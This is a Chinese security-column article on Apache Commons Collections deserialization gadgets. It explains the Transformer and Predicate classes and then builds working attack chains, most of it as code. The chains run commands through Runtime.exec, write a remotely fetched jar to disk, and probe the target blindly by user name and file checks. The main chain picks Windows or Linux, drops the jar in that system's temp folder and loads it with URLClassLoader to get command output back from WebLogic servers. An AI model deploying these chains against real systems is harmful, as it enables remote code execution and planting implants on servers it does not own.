众所周知,CommonCollection Gadget主要是由ConstantTransformer
,InvokerTransformer
,ChainedTransformer
构成。gadget主要通过Transformer
接口
的transform
方法,对输入的对象做变换。ConstantTransformer
不会做任何变换,只会返回类在实例化时传入的对象,InvokerTransformer
会对类在实例化时传入的参数,通过反射去调用,ChainedTransformer
将所有的Transformer
连接起来,上一个Transformer
的transform
方法的结果,作为下一个Transformer
的transform
方法的参数。这样就完成java反序列化的gadget。下面为调用Runtime执行calc的CommonCollection的chain
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
上面的chain等效与下面的代码
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object
从上面的代码中我们可以暂时得出以下结论
在org.apache.commons.collections.functors
中,所有的类都可以被简单的分为三类,分别继承自Transformer
接口, Predicate
接口,Closure
接口。这三个接口主要有以下区别
Transformer
接口接收一个对象,返回对象的执行结果Closure
接口接收一个对象,不返回对象的执行结果Predicate
接口,类似条件语句,会根据执行结果,返回true或者false。这个将主要用在SwitchTransformer类中Closure
接口没有太多用,下面主要介绍一下继承自Transformer
接口的类与继承自Predicate
接口的类Transformer
接口的类将实例化后的Transformer的类的数组,按顺序一个一个执行,前面的transform结果作为下一个transform的输出。
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
调用并返回输入对象clone方法的结果
public Object transform(Object input) {
if (input == null) {
return null;
}
return PrototypeFactory.getInstance(input).create();
}
将Closure
接口的类转换为Transformer
public Object transform(Object input) {
iClosure.execute(input);
return input;
}
调用transform方法,只返回类在实例化时存储的类
public Object transform(Object input) { return iConstant;}
抛出一个异常,FunctorException
public Object transform(Object input) { throw new FunctorException("ExceptionTransformer invoked");}
调用相应的工厂类并返回结果
public Object transform(Object input) { return iFactory.create();}
根据给定的参数,在调用transform方法的时候实例化一个类
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
调用transform方法的时候,根据类在实例化时提供的参数,通过反射去调用输入对象的方法
在调用transform方法时,将输入函数作为key,返回类在实例化时参数map的value
public Object transform(Object input) { return iMap.get(input);}
啥也不干的Transformer
public Object transform(Object input) { return input;}
类似if语句,在如果条件为真,则执行第一个Transformer,如果条件为假,则执行第二个Transformer
public Object transform(Object input) {
for (int i = 0; i < iPredicates.length; i++) {
if (iPredicates[i].evaluate(input) == true) {
return iTransformers[i].transform(input);
}
}
return iDefault.transform(input);
}
将Predicate包装为Transformer
public Object transform(Object input) { return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}
调用String.valueOf,并返回结果
public Object transform(Object input) {
return String.valueOf(input);
}
Predicate
接口的类在执行多个Predicate,是否都返回true。
public boolean evaluate(Object object) {
for (int i = 0; i < iPredicates.length; i++) {
if (iPredicates[i].evaluate(object) == false) {
return false;
}
}
return true;
}
两个Predicate是否都返回true
public boolean evaluate(Object object) {
return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
}
与AllPredicate相反,只要有任一一个Predicate返回true,则返回true
public boolean evaluate(Object object) {
for (int i = 0; i < iPredicates.length; i++) {
if (iPredicates[i].evaluate(object)) {
return true;
}
}
return false;
}
输入的对象是否与类在实例化时提供得对象是否一致
public boolean evaluate(Object object) { return (iValue.equals(object));}
在执行evaluate时抛出一个异常
永远返回False
evaluate方法中输入的对象是否与类实例化时提供的类是否一样
public boolean evaluate(Object object) { return (iValue == object);}
输入的对象是否与类实例化时提供的类的类型是否一致
public boolean evaluate(Object object) { return (iType.isInstance(object));}
对evaluate的结果取反操作
public boolean evaluate(Object object) { return !(iPredicate.evaluate(object));}
如果输入的对象为null,则抛出一个异常
如果输入的对象为null,则返回false
如果输入的对象为null,则返回true
输入的对象是否为null
类似与条件语句中的或
public boolean evaluate(Object object) { return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}
将一个Transformer包装为Predicate
这种方法通过InvokerTransformr调用构造函数,然后再写入文件。当然,这里我们可以使用InstantiateTransformer去实例化FileOutputStream类去写入文件,代码如下
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(FileOutputStream.class),
new InstantiateTransformer(
new Class[]{
String.class, Boolean.TYPE
},
new Object[]{
"filePath, false
}),
new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
}),
思想类似于Sql的盲注。我们可以通过如下语句检测java进程是否是root用户
if (System.getProperty("user.name").equals("root")){
throw new Exception();
}
我们可以通过如下cc链,执行该语句
TransformerUtils.switchTransformer(
PredicateUtils.asPredicate(
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(System.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{"user.name"}}),
new InvokerTransformer("toString",
new Class[]{},
new Object[0]),
new InvokerTransformer("toLowerCase",
new Class[]{},
new Object[0]),
new InvokerTransformer("contains",
new Class[]{CharSequence.class},
new Object[]{"root"}),
})),
new TransformerUtils.exceptionTransformer(),
new TransformerUtils.nopTransformer());
if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){
Thread.sleep(7000);
}
改写成cc链
TransformerUtils.switchTransformer(
PredicateUtils.asPredicate(
new ChainedTransformer( new Transformer[] {
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{
String.class
},
new Object[]{
path
}),
new InvokerTransformer("exists", null, null)
})
), new ChainedTransformer( new Transformer[] {
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
})
}),
TransformerUtils.nopTransformer();)
主要问题有 目前只能用URLClassloader,但是需要确定上传到weblogic服务器的位置。而这里我们知道,windows与linux的临时目录以及file协议访问上传文件的绝对路径肯定不一样。如果只用invokerTransform的话,最简单的执行回显的方案如下
sequenceDiagram 攻击者->>weblogic: 上传至Linux的临时目录/tmp/xxx.jar 攻击者->>weblogic: 调用urlclassloader加载,安装实例 攻击者->>weblogic:通过lookup查找实例,检测是否安装成功 weblogic->>攻击者: 安装成功,结束 weblogic->>攻击者: 安装失败,抛出异常 攻击者->>weblogic: 上传至windows的临时目录 C:\\Windows\\Temp\\xxx.jar 攻击者->>weblogic: 调用urlclassloader加载,安装实例 攻击者->>weblogic:通过lookup查找实例,检测是否安装成功 weblogic->>攻击者: 安装成功 结束 weblogic->>攻击者: 安装失败
攻击一次weblogic服务器,最多可能需要发送6次反序列化包,才能成功的给weblogic服务器安装实例。这显然不符合我们精简代码的思想。下面我们用正常思维的方式去执行一下攻击过程
if (os == 'win'){
fileOutput(winTemp)
}
else{
fileOutput(LinuxTemp)
}
if (os == 'win'){
urlclassloader.load(winTemp)
}
else{
urlclassloader.load(LinuxTemp)
}
这里我们可以使用SwitchTransformer
+ Predicate
+ ChainedTransformer
组合去完成。
SwitchTransformer
类似于if语句Predicate
类似于条件语句ChainedTransformer
将所有的语句串起来执行SwitchTransformer
类需要一个Predicate
,而这里TransformerPredicate
可以将一个Transformer转换为一个Predicate
。所以我们需要一个可以判断操作系统的chain。然后将判断操作系统的chain作为Predicate
,调用switchTransformer,根据结果,将可执行ja包写入win或者linux的临时目录。然后再调用第二个switchTransformer,根据操作系统的类型,调用URLclassloader分别加载相应上传位置的jar包,通过chainedTransformer将两个SwitchTransformer将两个SwitchTransform连接起来。代码如下
Transformer t = TransformerUtils.switchTransformer(
PredicateUtils.asPredicate(
getSysTypeTransformer()
),
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(FileOutputStream.class),
new InstantiateTransformer(
new Class[]{
String.class, Boolean.TYPE
},
new Object[]{
"C:\\Windows\\Temp\\xxx.jar", false
}),
new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
}),
TransformerUtils.nopTransformer()); Transformer t1 = TransformerUtils.switchTransformer(
PredicateUtils.asPredicate(
getSysTypeTransformer()
),
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(
new Class[]{
URL[].class
},
new Object[]{
new URL[]{new URL("file:/C:\\Windows\\Temp\\xxx.jar")}
}),
new InvokerTransformer("loadClass",
new Class[]{String.class}, new Object[]{className}),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),
TransformerUtils.nopTransformer()); // 这块自行改成linux的吧
Transformer list = new ChainedTransformer(new Transformer[]{
t,
t1
});
private static ChainedTransformer getSysTypeTransformer() {
return new ChainedTransformer(new Transformer[]{
new ConstantTransformer(System.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{"os.name"}}),
new InvokerTransformer("toString",
new Class[]{},
new Object[0]),
new InvokerTransformer("toLowerCase",
new Class[]{},
new Object[0]),
new InvokerTransformer("contains",
new Class[]{CharSequence.class},
new Object[]{"win"}),
});
}
本文作者:宽字节安全
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/163636.html